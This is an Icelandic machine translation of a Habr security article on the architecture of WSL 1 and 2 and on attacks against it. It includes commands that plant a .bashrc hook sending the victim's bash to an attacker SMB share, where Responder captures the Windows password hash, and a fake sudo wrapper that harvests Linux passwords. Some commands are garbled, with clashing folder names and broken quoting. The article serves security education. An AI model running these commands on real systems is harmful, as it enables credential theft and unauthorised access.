WSL tilraunir. 1. hluti

Halló, habr! OTUS kynnir nýjan námskeiðsstraum í október "Linux öryggi". Í aðdraganda námskeiðsins ætlum við að deila með þér grein sem einn af kennurum okkar, Alexander Kolesnikov, skrifaði.

WSL tilraunir. 1. hluti

Árið 2016 kynnti Microsoft nýju WSL tæknina fyrir upplýsingatæknisamfélaginu (Winni Sundirkerfi fyrir Linux), sem gerði það í framtíðinni mögulegt að sameina áður ósamsættanlega keppinauta sem börðust um vinsældir bæði meðal venjulegra og háþróaðra notenda stýrikerfisins: Windows og Linux. Þessi tækni gerði það mögulegt að nota Linux OS verkfæri í Windows umhverfi án þess að þurfa að keyra Linux, til dæmis með Multi-boot. Á Habr er að finna fjöldann allan af greinum sem lýsa ávinningi þess að nota WSL. Hins vegar, því miður, á þeim tíma sem þessi grein var gerð, fundust engar rannsóknir á öryggi slíks sambýlis stýrikerfa á þessari auðlind. Þessi færsla verður tilraun til að leiðrétta þetta. Greinin mun fjalla um eiginleika WSL 1 og 2 arkitektúranna og skoða nokkur dæmi um árásir á kerfi sem nota þessa tækni. Greininni er skipt í 2 hluta. Sú fyrsta mun veita helstu fræðilegu árásaraðferðirnar frá Linux og Windows. Önnur greinin mun fela í sér að setja upp prófunarumhverfi og endurskapa árásirnar.

WSL 1: byggingareinkenni

Fyrir nákvæmasta kafa í WSL öryggismálum er nauðsynlegt að ákvarða helstu blæbrigði sem tengjast innleiðingu undirkerfisins. Eitt af helstu verkefnum notenda sem WSL leysir er hæfileikinn til að vinna í gegnum Linux flugstöð á hýsil sem keyrir Windows OS. Einnig var samhæfni sem boðið var upp á svo innfæddur að Linux keyrslu (ELF) var hægt að keyra beint á Windows kerfi. Til að ná þessum markmiðum var búið til sérstakt undirkerfi í Windows 10 sem gerir þér kleift að keyra Linux forrit með því að nota mengi ákveðinna kerfiskalla - þannig var reynt að kortleggja sett af Linux kerfiskerfi á Windows. Þetta var útfært líkamlega með því að bæta við nýjum reklum og nýju ferlisniði. Sjónrænt leit arkitektúrinn svona út:

WSL tilraunir. 1. hluti

Reyndar voru samskipti við Linux stýrikerfið skipulögð með nokkrum kjarnaeiningum og sérstakri gerð ferlis - pico. Af skýringarmyndinni hér að ofan geturðu séð að ferlið sem keyrir á Linux tilvikinu á hýslinum verður að vera innbyggt og verður að nota sömu auðlindir og venjuleg Windows forrit. En hvernig á að ná þessu? Í verkefni Vagnbrú Þróuð voru ferlihugtök fyrir Windows sem útveguðu alla nauðsynlega íhluti stýrikerfisins (fer eftir útgáfu þess) til að keyra forrit fyrir annað stýrikerfi.

Athugaðu að fyrirhuguð útdráttur gerði það mögulegt að einblína ekki á stýrikerfið (sérstaklega Windows), þar sem búist er við að ferli annars stýrikerfis ræsist, og lagði til almenna nálgun.

Þannig gæti hvaða forrit sem er í pico ferlinu keyrt án tillits til Windows kjarnans:

  1. Vandamál varðandi samhæfni og þýðingar kerfissímtala verða að leysa af sérstökum veitendum;
  2. Aðgangsstýring verður að fara fram í gegnum Öryggisskjáinn. Skjárinn er staðsettur í kjarnanum og því þurfti Windows uppfærslu í formi nýs drivers sem gæti virkað sem veitandi fyrir slíka ferla. Frumgerð pico ferlið er skýrt fram hér að neðan:

WSL tilraunir. 1. hluti

Þar sem Linux skráarkerfið notar hástafanæm skráar- og möppuheiti, var 2 tegundum af skráarkerfum bætt við Windows til að vinna með WSL - VolFS og DriveFS. VolFS er útfærsla á Linux skráarkerfinu, DriveFS er skráarkerfi sem virkar samkvæmt Windows reglum, en hefur getu til að velja hástafanæmi.

WSL 2

WSL 1 hafði ýmsar takmarkanir sem leyfðu því ekki að nota það til að leysa hámarks svið verkefna: til dæmis hafði það ekki getu til að keyra 32-bita Linux forrit og það var ómögulegt að nota tækjarekla. Þess vegna, árið 2020, kom WSL 2 út, sem breytti nálguninni við að byggja upp undirkerfið. WSL 2 er fínstillt sýndarvél sem passar við eiginleika auðlindanotkunar WSL 1. Nú, allt eftir vandamálum sem Windows OS notandinn leysir, geturðu valið nauðsynlega útgáfu af Linux undirkerfinu. Til að draga úr hugsanlegum veikleikum var WSL 2 útfært á grundvelli Hyper-V í Windows 10. Í þessu formi hefur Windows getu til að keyra Linux stýrikerfiskjarna í einangrun. Það er þess virði að muna að útgáfa 1 af WSL var kynnt sem beta eiginleiki sem átti að sýna stefnu Windows þróunar á þessu sviði, þannig að umskiptin yfir í Hyper-V voru óumflýjanleg. Endanleg arkitektúr lítur svona út:

WSL tilraunir. 1. hluti

Í þessari útgáfu hafa Windows og Linux kjarna sín eigin auðlindir og gatnamótin eru aðeins til í skráarkerfinu, en þessi gatnamót eru ekki fullbúin. Samskipti milli skráarkerfa fara fram í gegnum umbúðir viðskiptavinar-miðlara sem virkar með 9P samskiptareglum.

Í dag býður Microsoft upp á möguleikann á að skipta á milli WSL 1 og WSL 2. Báðar útgáfurnar eru tiltækar til notkunar.

WSL öryggi

Í augnablikinu eru nokkur verk sem lýsa nokkrum aðferðum við að nota lögmæt stýrikerfisverkfæri til að ráðast á samskipti milli undirkerfa. Við munum nota forskriftir þeirra til að athuga mikilvægi árásanna þegar þetta er skrifað. Almennur listi yfir árásir og aðstæður:

1. Innleiðing skráakerfis: aðgangsréttur, aðgengi að sameiginlegum möppum/gagnaskiptaaðferðum.

Rannsóknir voru gerðar til að ákvarða brot á aðgangsreglum frá Linux FS->Windows FS, Windows FS->Linux FS. Rannsóknir hafa sýnt fram á getu til að breyta tiltekinni skrá innan markkerfisins. Einnig var reynt að skipta út, búa til afrit og eyða hluta skráakerfanna.

Atburðarás:

  • A. Árás frá Windows stýrikerfinu - breyting á skrám úr /etc skránni í Linux stýrikerfinu.
  • B. Árás frá Linux stýrikerfinu - breyting á skrám í möppum: C:Windows, C:Program Files, C:Users<User>

2. Framkvæmd netstafla.

Rannsóknin var gerð með dæmum um árásir frá Linux stýrikerfinu á Windows. Eiginleikar netstaflans voru notaðir, nefnilega auðkenningarkerfi á ýmsum auðlindum.

Atburðarás:

  • Opnar aðgang að höfn sem er upptekin á Windows kerfi
  • Að opna höfn án viðeigandi réttinda
  • Keyrir öfuga skel með elf skrá á Windows stýrikerfi.

3. Fela kynningu á skaðlegum hugbúnaðarferlum með því að nota WSL undirkerfið.

Rannsóknin var byggð á einfaldri staðreynd - öryggisundirkerfi geta ekki stöðvað atburði í öðrum kjarna sem virkar með því að nota lögmæta þjónustuaðila frá stýrikerfinu þegar um WSL 1 er að ræða. Í tilviki WSL 2 er engin leið til að skoða atburði sem eiga sér stað í sérstökum kjarna í léttri sýndarvél.

Atburðarás:

1) Ræstu forritið fyrir fjaraðgang að kerfinu og skoðaðu skráða atburði.

WSL 1 tilraunir: kjötkássahlerun (Windows)

Loksins komum við að verklega hlutanum. Fyrst þarftu að setja upp prófunarumhverfið. Allar tilraunir verða gerðar á bekk með Windows 10 2004. Ubuntu 18.04 myndin var valin sem stýrikerfismynd fyrir WSL. Myndin var valin af handahófi og hver önnur mun virka eins. Skipanir til að setja upp stand:

Þú verður fyrst að ræsa powershell.exe sem stjórnandi.

Fyrir WSL 1 þarftu að keyra skipanirnar:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Eftir að hafa endurræst standinn geturðu hringt í bash skipunina. Ef allt virkaði rétt muntu sjá framleiðsla svipað þessu í Windows stjórnborðinu:

    WSL tilraunir. 1. hluti

    Við munum nota Kali Linux dreifingu sem vél árásarmannsins; allar vélar verða að vera á sama staðarneti.

    Gerum ráð fyrir að við höfum forréttinda aðgang að WSL á Windows vél. Við skulum reyna að ráðast á Linux stýrikerfið með því að kalla fram skipun frá Linux. Til að útfæra árásina munum við nota einfalda sjálfvirka keyrslutækni - við munum bæta við handritinu okkar til að keyra í Linux umhverfinu. Til að gera þetta þarftu að breyta skránni .bashrc.

    Á vél með WSL keyrum við:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Á Kali Linux vél keyrum við:

    1. Responder -I eth0 -rdvw

    Á Windows vél skulum við ræsa bash.

    Við bíðum eftir niðurstöðunni á Kali Linux vélinni:

    WSL tilraunir. 1. hluti

    Þannig fengum við Windows notanda kjötkássa í gegnum WSL undirkerfið með því að framkvæma skipunina á Linux kerfinu.

    WSL 1 tilraunir: fá notanda lykilorð (Linux OS)

    Gerum eina tilraun í viðbót. Við þessa athugun munum við bæta við skrána .bashrc nokkrar skipanir til að fá notendalykilorð Linux stýrikerfisins.

    Við skulum ræsa bash og slá inn skipanirnar:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Til að ljúka árásinni með góðum árangri þarf notandinn Sam að hringja í sudo í Linux flugstöðinni. Eftir þetta mun Linux OS notendalykilorðið vera í skránni pass.txt:

    WSL tilraunir. 1. hluti

    Framkvæmd árásanna var eingöngu gefin til fræðilegra upplýsinga.

    Næsti hluti greinarinnar mun lýsa innleiðingu 9P samskiptareglunnar, íhuga að búa til skanna fyrir þessa samskiptareglu og einnig framkvæma árás með því að nota hana.

    Listi yfir notaðar bókmenntir

    WSL tilraunir. 1. hluti

    Lestu meira

    Heimild: www.habr.com

    Bæta við athugasemd